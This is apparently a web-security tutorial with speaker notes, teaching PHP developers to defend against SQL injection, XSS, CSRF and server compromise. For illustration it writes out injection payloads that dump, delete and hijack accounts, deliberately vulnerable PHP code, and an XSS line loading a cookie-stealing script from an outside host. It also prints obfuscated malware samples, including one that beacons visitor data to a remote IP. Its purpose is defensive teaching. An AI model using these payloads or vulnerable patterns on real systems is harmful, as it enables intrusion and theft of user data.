With more and more sites falling victim to data theft, you've probably read the list of things (not) to do to write secure code. But what else should you do to make sure your code and the rest of your web stack is secure ? In this tutorial we'll go through the basic and more advanced techniques of securing your web and database servers, securing your backend PHP code and your frontend javascript code. We'll also look at how you can build code that detects and blocks intrusion attempts and a bunch of other tips and tricks to make sure your customer data stays secure.
12. Who am I ?
Wim Godden (@wimgtr)
Founder of Cu.be Solutions (http://cu.be)
Open Source developer since 1997
Developer of OpenX, PHPCompatibility, ...
Speaker at PHP and Open Source conferences
13. Who are you ?
Developers ?
System engineers ?
Network engineers ?
Ever had a hack ?
Through the code ?
Through the server ?
15. My app is secure... I think
Basic stuff = known...
… or is it ?
Code is not enough
Code
Webserver
Database server
Operating system
Network
16. Disclaimer
Do not use these techniques to hack
Use the knowledge to prevent others from hacking you
17. Reasons for hackers to hack
Steal and sell your data
Use your infrastructure as a jumpstation to hack other servers
Send out lots of spam
Use your server in a botnet for DDOS attacks
Bring down your systems
…
21. SQL Injection (OWASP #1)
<?
require("header.php");
$hostname="localhost";
$sqlusername="someuser";
$sqlpassword="somepass";
$dbName="somedb";
MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database.");
@mysql_select_db("$dbName") or die("Unable to select database.");
$fp=fopen("content/whatever.php","r");
while (!feof($fp))
$inhoud.=fgets($fp,2);
$res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']);
for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++)
{
$lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n";
}
$content=str_replace("<@textstring@>",$lst,$content);
print $content;
require("footer.php");
?>
22. SQL Injection (OWASP #1)
Over 15 years
Still #1 problem
Easy to exploit
Easy to automate (scan + exploit)
Often misunderstood
23. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR 1=1; --
select * from user where email='' OR 1=1; --'
E-mail :
24. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR 1=1; --
select * from user where email='' OR 1=1;
E-mail :
25. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR 1=1; --
select * from user where 1=1;
E-mail :
26. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR 1=1; --
select * from user;
E-mail :
28. SQL injection – sample – lostpassword.php
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'E-mail address not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_POST['email'], 'New password', 'Your new password is ' .
$newpass);
echo 'Your new password was sent to ' . mysql_result($result, 0,
'email');
}
}
29. SQL injection – sample – lostpassword
lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271
email=whatever@me.com' OR '1'='1
select * from user where email='whatever@me.com' OR '1'='1'
30. Worst case : data deletion
email=whatever@me.com' OR '1'='1'; delete from user where '1'='1
31. Knowing the table structure
email=whatever@me.com' AND email is NULL; --'
select * from user where email='whatever@me.com' AND email is NULL; --';
<?php
$query = "select * from user where email='" . $_GET['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'Not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_GET['email'], 'New password', 'Your new password is ' . $newpass);
echo 'Your new password was sent to ' . mysql_result($result, 0, 'email');
}
}
33. Update, retrieve password, update again
email=whatever@me.com'; UPDATE user set
email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com
email=whatever@me.com'; UPDATE user set email='some-user-
we@found.com' where email='myhackeraddress@gmail.com'; --';
34. Hackers just want your data
email=whatever@me.com' OR 1=1 limit 2, 1; --';
email=whatever@me.com' OR 1=1 limit 3, 1; --';
email=whatever@me.com' OR 1=1 limit 4, 1; --';
...
35. They want ALL data (not just email addresses)
Find a long field (address field is a good candidate)
email=whatever@me.com'; UPDATE user set address=concat(address, '|||',
password), email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com and start scraping
email=whatever@me.com'; UPDATE user set
password=substring_index(address, '||', -1),
address=substring_index(address, '||', 1), email='some-user-we@found.com'
where email='myhackeraddress@gmail.com'; --';
36. SQL Injection – much more...
Much more than logging in as a user
SQL injection possible → wide range of dangers
37. Fixing SQL injection : attempt #1
Addslashes() ?
$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));
5 and sleep(10)
select * from user where id=5 and sleep(10)
What if we hit that code 100 times simultaneously ?
MySQL max_connections reached → Server unavailable
41. Other injections
LDAP injection
Command injection (system, exec, ...)
Eval (waaaaaaaaaah !)
…
User input → PHP → External system
If you provide the data, it's your responsibility !
42. Demo
<?php
mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working');
mysql_select_db('sqlinjection');
$result = mysql_query("select * from user where email='" . $_GET['email'] . "'");
if (mysql_numrows($result) > 0) {
echo mysql_result($result, 0, 'name');
} else {
echo 'Error';
}
45. Ways to avoid session fixation
session.use_only_cookies = true
Change session on login using session_regenerate_id(true)
Do not share sessions between sites/subdomains
Do not accept sessions not generated by your code
Foreign session → remove the session cookie from the user
Regenerate session regularly using session_regenerate_id(true)
Use HTTPS
All of the above help against session fixation AND session
hijacking !
46. XSS – Cross Site Scripting
<?php
addMessage($_GET['id'], $_GET['message']);
echo 'Thank you for submitting your message : ' . $_GET['message'];
URL : /submitMessage
http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
47. XSS – more advanced
http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in
touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-
cookie.js"></script>
49. XSS : Non-persisted vs persistent
Previous examples were non-persistent : issue occurs once
Post code to exploitable bulletin board
→ Persistent
→ Can infect every user
50. XSS : how to avoid
Filter input, escape output
<?php
echo 'I just submitted this message : ' .
htmlentities($_GET['message'], ENT_QUOTES);
51. CSRF : Cross Site Request Forgery
www.our-app.com
1
Submit article
for review
2
Retrieve articlefor review
3
Evil html or jsmakes call
4
Devil uses extra
privileges
Here's the article you were asking for.
<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
52. CSRF : ways to avoid
Escape the output (where did we hear that before ?)
Add a field to forms with a random hash/token for verification
upon submit
Check the referer header
<form method="post" action="userSave.php">
<input name="id" type="hidden" value="5" />
<input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" />
rest of the form
</form>
53. General rules – input validation
Assume all data you receive as input
contains a hack attempt !
Filter on disallowed characters
Check validity of
Dates
Email addresses
URLs
etc.
Input validation is not browser-side code, it's server-side code
(you can ofcourse use browser-side code to make it look good)
54. General rules – escaping output
Doing input validation → why do you need output escaping ?
What if the data originates from
a webservice
an XML feed
…
Always escape output !
55. Clickjacking
Do you want to
support
our cause ?
NoYes
Do you want to
delete all your
Facebook
friends ?
Yes No
FB button
57. Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
redirect
to main
58. Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
(doesn't check
cookie !)
redirect
to main
59. Bad authentication / authorization layer
Only hiding URLs on view, not restricting on action
/somewhere is visible on screen
/somewhere/admin is not visible, but is accessible
Allowing direct access to other user's data
/user/profile/id/311 is the user's profile
/user/profile/id/312 is also accessible and updateable
Allowing direct access to file downloads with guessable urls
/download/file/83291.pdf
Creating cookies :
loggedin=1
userid=312
admin=1
60. Protecting your web stack
PHP
Webserver
Database server
Mail server
Other servers
Firewalls
...
61. Protecting your web stack - PHP
Update to the latest version (5.4 = EOL, 5.5 will be EOL this
year)
Safe_mode = dead → use PHP-FPM or VMs
Register_globals = dead :-)
Suhosin patch → mostly for web hosting companies
Disable 'dangerous' PHP functions you don't need in php.ini
system
exec
passthru
'Eval' is not a function, so can not be disabled
62. Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
63. Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
...and don't show exceptions, but...
…log them ! And watch your logs ;-)
If you use filenames as parameters
download.php?filename=test.pdf
Make sure you don't allow ../../../../etc/passwd
Use basename() and pathinfo() to restrict
File extensions :
Use .php
Don't use .inc, .conf, .include, ...
65. Building a simple system
Add an input field that's hidden from view (bots will fill it out)
Implement a captcha
Limit number of attempts on captcha
Limit number of posts to certain URL
66. Limiting number of posts to a URL
function isUserBlocked($userId) {
$submissions = $memcache->get('submissions_' . $userId);
if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) {
$submissions = array();
}
$now = new DateTimeImmutable();
if (count($submissions) == 10) {
if (new DateTime($submissions[9]) > $now->modify('-1 hour')) {
return false;
}
unset($submissions[9]);
}
array_unshift($submissions, $now->format(DateTime::ATOM));
$memcache->set('submissions_' . $userId, $submissions);
return true;
}
67. Using an existing system
PHPIDS :
The standard IDS for PHP
More complete
Exposé :
By @enygma (Chris Cornutt)
Faster
Use the same ruleset
Provides impact value =
level of trust in data
$data = array(
'POST' => array(
'test' => 'foo',
'bar' => array(
'baz' => 'quux',
'testing' => '<script>test</script>'
)
)
);
$filters = new ExposeFilterCollection();
$filters->load();
$logger = new ExposeLogMongo();
$manager = new ExposeManager($filters, $logger);
$manager->run($data);
// should return 8
echo 'impact: '.$manager->getImpact()."n";
68. Protecting your web stack – Passwords
Don't create your own password hashing algorithm !
Use password_hash
5.5+ : built-in
< 5.5 : ircmaxell/password-compat
Don't md5() → sha512, blowfish, …
Set a good password policy
Min 8 chars, min 1 number, min 1 uppercase char, …
No maximum length
Try to avoid password hints
→ Email is better for recovery
69. Protecting your web stack – Webserver
Block direct access to upload directories
Allow only access to port 80 and 443 (!)
Disable phpMyAdmin (VPN only if required)
On Apache don't :
AllowOverride All
Options Indexes
Block access to .svn and .git
71. Protecting your web stack – Webserver
Block direct access to upload directories
Allow only access to port 80 and 443 (!)
Disable phpMyAdmin (VPN only if required)
On Apache don't :
AllowOverride All
Options Indexes
Block access to .svn and .git
Detect and ban flood/scan attempts in Nginx :
http {
limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m;
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;
server {
limit_conn conn_limit_per_ip 10;
limit_req zone=req_limit_per_ip burst=10 nodelay;
}
}
73. Protecting your web stack – Database server
No access from the web required
Give it a private IP
Other websites on network ?
→ send traffic over SSL
1 user per DB
1 DB per user
1 DB per application
74. Protecting your web stack – Mail server
Setup SSL for POP3, IMAP, SMTP
Setup DomainKeys
Setup SPF (Sender Policy Framework)
75. Protecting your web stack – DNS server
Possible weak point in architecture
Controls web, MX (mail) records, anti-spam, etc.
DNS hijacking
DNS spoofing
76. Protecting your web stack
Use public/private key pairs, not passwords
Don't login as root
→ Use sudo for commands that really need it
Allow SSH access only from VPN
Running
Memcached ?
Gearman ?
… ?
→ Block external access
77. Lack of updates
Not updating system packages
Not updating frameworks and libraries
Not just main components
Doctrine
Bootstrap
TinyMCE
etc.
Not updating webserver software
Not updating database server software
Recently :
Heartbleed (OpenSSL)
Shellshock (Bash)
Ghost (Glibc)
78. Protecting your web stack - firewalls
Separate or on-server
Default policy = deny all
Don't forget IPv6 !!!
Perform regular scans from external location
Use blacklists to keep certain IP ranges out
79. First action of a hacker
Make sure they don't lose the access they gained
Create new user → easy to detect
Install a custom backdoor
→ easy to detect with good IDS
Install a backdoor based on installed software
→ Example : start SSHD with different config on different port (remember firewall ?)
→ Harder to detect
→ Kill it... what happens ?
→ Probably restarts via cronjob
80. Using an Intrusion Detection System
Host-based Intrusion Detection System (HIDS)
Network-based Intrusion Detection System (NIDS)
81. Host-based Intrusion Detection System
Scans the file system for changes
New/deleted files
Modified files (based on checksum)
File permission changes
Old systems are standalone :
AIDE, Tripwire, AFICK
Easy to update by hacker, not recommended (unless combined with
backup system)
Intrusion detection by backup
Best Open Source tool = OSSEC
Client-server-based architecture → real-time notification that hacker
can't stop
Centralized updates
86. Decentralized alternative : Samhain
Can be used centralized or standalone
Log to syslog, send email, write to DB
Processing on the client
Improves processing speed
Requires CPU power on client
87. Network-based Intrusion Detection Systems
Snort
Open Source
Supported by Cisco (rules are not free)
Analyzes traffic, blocks malicious traffic
Huge user base, tons of addons
93. One IDS distro to rule them all
Security Onion
Based on Ubuntu
Contains all the IDS tools...
...and much more
94. You've been hacked ! Now what ? (1/3)
Take your application offline
→ Put up a maintenance page (on a different server)
Take the server off the public Internet
Change your SSH keys
Make a full backup
Check for cronjobs
Check access/error logs
→ Give them to legal department
Were any commits made from the server ?
→ Your server shouldn't be able to !
95. What a PHP hack might look like
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0
xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf
OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW
5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl
cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC
cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl
Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW
9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRG
ODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNk
U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk
UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS
sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF
NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
97. What a PHP hack might look like
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
return '91.196.216.64';
}
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
$a=Array('http://','/btt.php?
ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .
$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)])
._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt',
'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
return 'curl_version';
}
98. What a PHP hack might look like - location
Changes to .htaccess
Files in upload directory
PHP code in files with different extension
New modules/plugins for Drupal/Wordpress
99. You've been hacked ! Now what ? (2/3)
Search system
preg_replace
base64_decode
eval
system
exec
passthru
Search system and database
script
iframe
100. You've been hacked ! Now what ? (3/3)
Find out how the hack happened ;-)
Write an apology to your customers
Finally :
Reinstall the OS (from scratch !)
Update all packages to the latest version
Don't reinstall from backup !
Install source code
Restore DB from previous backup (use binary log file)
Change user passwords
Relaunch
101. Takeaways
Think like a hacker
Can I steal data ? Can I DOS the site ?
Which techniques could I use to do it ?
Try it without looking at the code
Try it while looking at the code
Use SSL/HTTPS everywhere !
Block all traffic, then allow only what's needed
Sanitize/filter your input
Escape your output
Block flooders/scanners
Use an IDS
Never trust a hacked system
106. The software discussed (and more)
Protecting your mail server
SPF and DomainKeys :
http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/
DNS
Hijacking : http://www.gohacking.com/dns-hijacking/
Spoofing :
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio
IPv6 – don't forget to firewall it the same way :
https://www.sixxs.net/wiki/IPv6_Firewalling
Automatic scanning tools :
Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner
Wapiti : http://wapiti.sourceforge.net/
Nexpose : http://www.rapid7.com/products/nexpose/
107. The software discussed (and more)
Slow HTTP DOS attacks :
https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate
IDS
PHP
PHPIDS : https://github.com/PHPIDS/PHPIDS
Exposé : https://github.com/enygma/expose
Host-based
OSSEC : www.ossec.net
Samhain : http://www.la-samhna.de/samhain/
AIDE : http://aide.sourceforge.net/
Network-based
Snort : https://www.snort.org/
Sirucata : http://suricata-ids.org/
All in one : Security Onion : http://blog.securityonion.net/
This afternoon we&apos;re going to talk about security.
This tutorial is based on a 2day training that we offer.
Training → exercises with Vagrant/Virtualbox
Only 3h → too short to try everything
→ usually takes 30min before everyone&apos;s ready
We have a lot of ground to cover, because...
Tutorial is titled...
devs know basic security no-nos
often unaware of less-common issues
More importantly : creating secure app = more than creating secure code.
Web app = chain of software and hardware
Every part of chain = equally important.
Neglecting single component → app and data at risk
So next 3h → code and how to secure it
Also security of web stack.
Detect hack attempt, again both in code and stack
Techniques to make it harder to go unnoticed
Before we begin :
Little disclaimer
Looking at techniques hackers use
Not promoting techniques
Explaining to help you understand there&apos;s lot more than meets the eye.
Use knowledge to improve security, not exploit bad code
….
That&apos;s the reason to spend a little time explaining
why there&apos;s so much more to SQL injection than what most people think or talk about in talks
….
That&apos;s the reason to spend a little time explaining
why there&apos;s so much more to SQL injection than what most people think or talk about in talks
….
That&apos;s the reason to spend a little time explaining
why there&apos;s so much more to SQL injection than what most people think or talk about in talks
Lost password function
EXPLAIN CODE
How would you exploit this code ?
1=1
Always true
Rest ignored
All rows fetched
→ first one used in code
→ pw changed
→ mail sent
→ email address shown
→ exposing application data
Bad, but can be worse. Probably thinking about this :
Pretty horrific ofcourse
But : most hackers won&apos;t do this
Reason : they want your data, not destroy it
Exploit SQL injection : know table structure
Looking at code → query will fail if field name is wrong
If field name is correct → return not found
Find other fields in same way
We can then try to insert
Might fail because of missing foreign keys or mandatory fields we don&apos;t know
However, we can always update email address of user we know
→ set to our email
Then retrieve password
Then reset email
But now we have login access !
As already mentioned : hackers want your data
Easy way to retrieve it.
Increment the limit start
Retrieve each row of the table
As already mentioned : hackers want your data
Easy way to retrieve it.
Increment the limit start
Retrieve each row of the table
So how do we fix SQL injection ?
Who has ever used addslashes to... ?
How could you exploit this code ? No quotes !
We can&apos;t retrieve data, but we can cause each query to sleep 10 sec.
So addslashes is not a good solution
The second option is the real_escape_string functions.
Although they&apos;re not bad → not really ideal anymore
Best way : prepared statements
They&apos;re the most convenient and flexible way to protect against all the things we just saw.
ORMs will help
→ they use prepared statements
→ You can still execute raw SQL
→ still vulnerable to SQL
→ be careful, even with ORM
Plenty of other injections possible
Rule is : don&apos;t accept input from user and send it unfiltered to external system
Let&apos;s say SOAP webservice someone wrote years ago.
Unfiltered data → SOAP → might have SQL injection issue.
Not your problem ? SOAP developer gone, source code gone ? You consume service, you need to provide good data.
Not as well know, but very dangerous and sneaky
How it works...
EXPLAIN SLIDE
Ofcourse this implies passing session id in query string
→ Not recommended
→ Enable session.user_only_cookies
Another common way
Not passing session id on query string
Works on limited sites
Let&apos;s say we can register subdomain and run PHP code
EXPLAIN SLIDE
Session fixation is serious problem
Luckily few things that can be done
All of tips also help in avoiding hijacking
→ when http traffic is intercepted
→ cookie gets stolen
XSS problem is mostly poor output escaping
This is most simple version.
However, can get a lot worse.
Non-persistent : targeted to one user at a time
Persistent : can infect every usre